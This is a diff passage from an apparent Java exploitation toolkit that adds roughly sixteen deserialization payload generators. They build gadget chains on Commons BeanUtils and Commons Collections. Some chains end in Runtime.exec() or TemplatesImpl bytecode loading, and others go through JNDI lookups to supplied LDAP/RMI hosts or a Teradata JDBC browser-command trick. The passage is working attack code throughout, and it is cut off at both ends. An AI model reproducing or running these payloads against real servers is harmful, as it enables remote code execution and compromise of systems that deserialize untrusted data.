|
||||
import com.qi4l.jndi.enumtypes.PayloadType;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import java.math.BigInteger;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
import static com.qi4l.jndi.gadgets.utils.jdbc.jdbcutils.dbcpByFactory;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsBeanutils1JDBC implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
// create a TeraDataSource object, holding our JDBC string
|
||||
//org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
|
||||
//org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory
|
||||
//org.apache.commons.dbcp2.BasicDataSourceFactory
|
||||
//org.apache.commons.dbcp.BasicDataSourceFactory
|
||||
//com.alibaba.druid.pool.DruidDataSourceFactory
|
||||
Reference ref = dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory", command);
|
||||
|
||||
// mock method name until armed
|
||||
final BeanComparator comparator = new BeanComparator("lowestSetBit");
|
||||
// create queue with numbers and basic comparator
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
// switch method called by comparator to "getConnection"
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = ref;
|
||||
queueArray[1] = ref;
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* PriorityQueue.readObject()
|
||||
* ...
|
||||
* TransformingComparator.compare()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Runtime.exec()
|
||||
*/
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({Authors.CCKUAILONG})
|
||||
public class CommonsBeanutils2 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.PayloadType;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.teradata.jdbc.TeraDataSource;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class CommonsBeanutils2JDBC implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
TeraDataSource dataSource = new TeraDataSource();
|
||||
dataSource.setBROWSER(command);
|
||||
dataSource.setLOGMECH("BROWSER");
|
||||
dataSource.setDSName("127.0.0.1");
|
||||
dataSource.setDbsPort("10250");
|
||||
|
||||
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "connection");
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = dataSource;
|
||||
queueArray[1] = dataSource;
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.PayloadType;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"})
|
||||
public class CommonsBeanutils2NOCC implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
// 修改BeanComparator类的serialVersionUID
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
|
||||
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
|
||||
|
||||
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
Reflections.setFieldValue(comparator, "property", null);
|
||||
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
|
||||
ctBeanComparator.defrost();
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.math.BigInteger;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
|
||||
public class CommonsBeanutils3 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
String jndiURL = null;
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
jndiURL = command.substring(5);
|
||||
}
|
||||
|
||||
BeanComparator comparator = new BeanComparator("lowestSetBit");
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(jndiURL);
|
||||
rs.setMatchColumn("QI4L");
|
||||
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||
|
||||
queue.add(new BigInteger("1"));
|
||||
queue.add(new BigInteger("1"));
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import javax.naming.CompositeName;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
public class CommonsBeanutils4 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.toLowerCase().startsWith("jndi:")) {
|
||||
command = command.substring(5);
|
||||
}
|
||||
|
||||
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
|
||||
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
|
||||
}
|
||||
|
||||
int index = command.indexOf("/", 7);
|
||||
String host = command.substring(0, index);
|
||||
String path = command.substring(index + 1);
|
||||
|
||||
String query = path.replace("/", "\\");
|
||||
|
||||
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
|
||||
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(new Class[]{String.class});
|
||||
ldapAttributeClazzConstructor.setAccessible(true);
|
||||
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(new Object[]{"name"});
|
||||
|
||||
Reflections.setFieldValue(ldapAttribute, "baseCtxURL", host);
|
||||
Reflections.setFieldValue(ldapAttribute, "rdn", new CompositeName(query + "//su18"));
|
||||
|
||||
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
Reflections.setFieldValue(comparator, "property", "attributeDefinition");
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{ldapAttribute, ldapAttribute});
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
|
||||
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
|
||||
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
|
||||
@Authors({"水滴"})
|
||||
public class CommonsBeanutilsAttrCompare implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
AttrNSImpl attrNS1 = new AttrNSImpl();
|
||||
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
|
||||
attrNS1.setValues(coreDocument, "1", "1", "1");
|
||||
|
||||
BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
|
||||
|
||||
queue.add(attrNS1);
|
||||
queue.add(attrNS1);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.enumtypes.PayloadType;
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
|
||||
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
|
||||
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
|
||||
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtField;
|
||||
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsAttrCompare183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
AttrNSImpl attrNS1 = new AttrNSImpl();
|
||||
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
|
||||
attrNS1.setValues(coreDocument, "1", "1", "1");
|
||||
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
try {
|
||||
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
|
||||
ctBeanComparator.removeField(ctSUID);
|
||||
} catch (javassist.NotFoundException e) {
|
||||
}
|
||||
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
|
||||
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
|
||||
ctBeanComparator.defrost();
|
||||
|
||||
Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare());
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
|
||||
|
||||
queue.add(attrNS1);
|
||||
queue.add(attrNS1);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
import org.apache.commons.lang3.compare.ObjectToStringComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"})
|
||||
@Authors({"水滴"})
|
||||
public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
|
||||
|
||||
BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
|
||||
|
||||
queue.add(stringComparator);
|
||||
queue.add(stringComparator);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtField;
|
||||
import org.apache.commons.lang3.compare.ObjectToStringComparator;
|
||||
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
try {
|
||||
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
|
||||
ctBeanComparator.removeField(ctSUID);
|
||||
} catch (javassist.NotFoundException e) {
|
||||
}
|
||||
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
|
||||
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
ctBeanComparator.defrost();
|
||||
Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator());
|
||||
|
||||
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
|
||||
|
||||
queue.add(stringComparator);
|
||||
queue.add(stringComparator);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
import org.apache.logging.log4j.util.PropertySource;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsPropertySource implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
PropertySource propertySource1 = new PropertySource() {
|
||||
@Override
|
||||
public int getPriority() {
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
|
||||
BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
|
||||
|
||||
queue.add(propertySource1);
|
||||
queue.add(propertySource1);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtField;
|
||||
import org.apache.logging.log4j.util.PropertySource;
|
||||
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
|
||||
@Authors({"SummerSec"})
|
||||
public class CommonsBeanutilsPropertySource183 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
PropertySource propertySource1 = new PropertySource() {
|
||||
@Override
|
||||
public int getPriority() {
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
|
||||
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
|
||||
try {
|
||||
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
|
||||
ctBeanComparator.removeField(ctSUID);
|
||||
} catch (javassist.NotFoundException e) {
|
||||
}
|
||||
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
|
||||
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
|
||||
ctBeanComparator.defrost();
|
||||
Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator());
|
||||
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
|
||||
|
||||
queue.add(propertySource1);
|
||||
queue.add(propertySource1);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Authors;
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* AnnotationInvocationHandler.readObject()
|
||||
* Map(Proxy).entrySet()
|
||||
* AnnotationInvocationHandler.invoke()
|
||||
* LazyMap.get()
|
||||
* ChainedTransformer.transform()
|
||||
* ConstantTransformer.transform()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Class.getMethod()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Runtime.getRuntime()
|
||||
* InvokerTransformer.transform()
|
||||
* Method.invoke()
|
||||
* Runtime.exec()
|
||||
* <p>
|
||||
* Requires:
|
||||
* commons-collections
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
|
||||
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class CommonsCollections1 implements ObjectPayload<InvocationHandler> {
|
||||
|
||||
@Override
|
||||
public InvocationHandler getObject(String command) throws Exception {
|
||||
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{new ConstantTransformer(1)});
|
||||
// real chain for after setup
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
|
||||
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
||||
|
||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化
|
||||
|
||||
return handler;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.FactoryTransformer;
|
||||
import org.apache.commons.collections.functors.InstantiateFactory;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
|
||||
public class CommonsCollections10 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
// 使用 InstantiateFactory 代替 InstantiateTransformer
|
||||
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
|
||||
|
||||
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
|
||||
|
||||
// 先放一个无关键要的 Transformer
|
||||
ConstantTransformer constantTransformer = new ConstantTransformer(1);
|
||||
Map innerMap = new HashMap();
|
||||
LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer);
|
||||
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
|
||||
Map expMap = new HashMap();
|
||||
expMap.put(tme, "QI5L");
|
||||
|
||||
Reflections.setFieldValue(outerMap, "factory", factoryTransformer);
|
||||
|
||||
outerMap.remove("QI4L");
|
||||
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.Reflections;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* RMIConnector 二次反序列化
|
||||
* 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer
|
||||
* 直接传入 Base64 编码的序列化数据即可
|
||||
*/
|
||||
public class CommonsCollections11 implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
|
||||
HashMap<Object, Object> map = new HashMap<>();
|
||||
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
|
||||
HashMap<Object, Object> expMap = new HashMap<>();
|
||||
expMap.put(tiedMapEntry, "QI4L");
|
||||
lazyMap.remove(templates);
|
||||
|
||||
Reflections.setFieldValue(lazyMap, "factory", invokerTransformer);
|
||||
|
||||
return expMap;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package com.qi4l.jndi.gadgets;
|
||||
|
||||
import com.qi4l.jndi.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.map.DefaultedMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Hashtable;
|
||||
import java.util.Map;
|
||||
|
||||
@Dependencies({"commons-collections:commons-collections:3.2.1"})
|
||||
public class CommonsCollections12 implements ObjectPayload<Hashtable> {
|
||||
@Override
|
||||
public Hashtable getObject(String command) throws Exception {
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
Map hashMap1 = new HashMap();
|
||||
Map hashMap2 = new HashMap();
|
||||
DefaultedMap defaultedMap1 = (DefaultedMap) DefaultedMap.decorate(hashMap1, transformers);
|
||||
DefaultedMap defaultedMap2 = (DefaultedMap) DefaultedMap.decorate(hashMap2, transformers);
|
||||
|
||||
defaultedMap1.put("yy", 1);
|
||||
defaultedMap2.put("zZ", 1);
|
||||
Hashtable hashtable = new Hashtable();
|
||||
hashtable.put(defaultedMap1, 1);
|
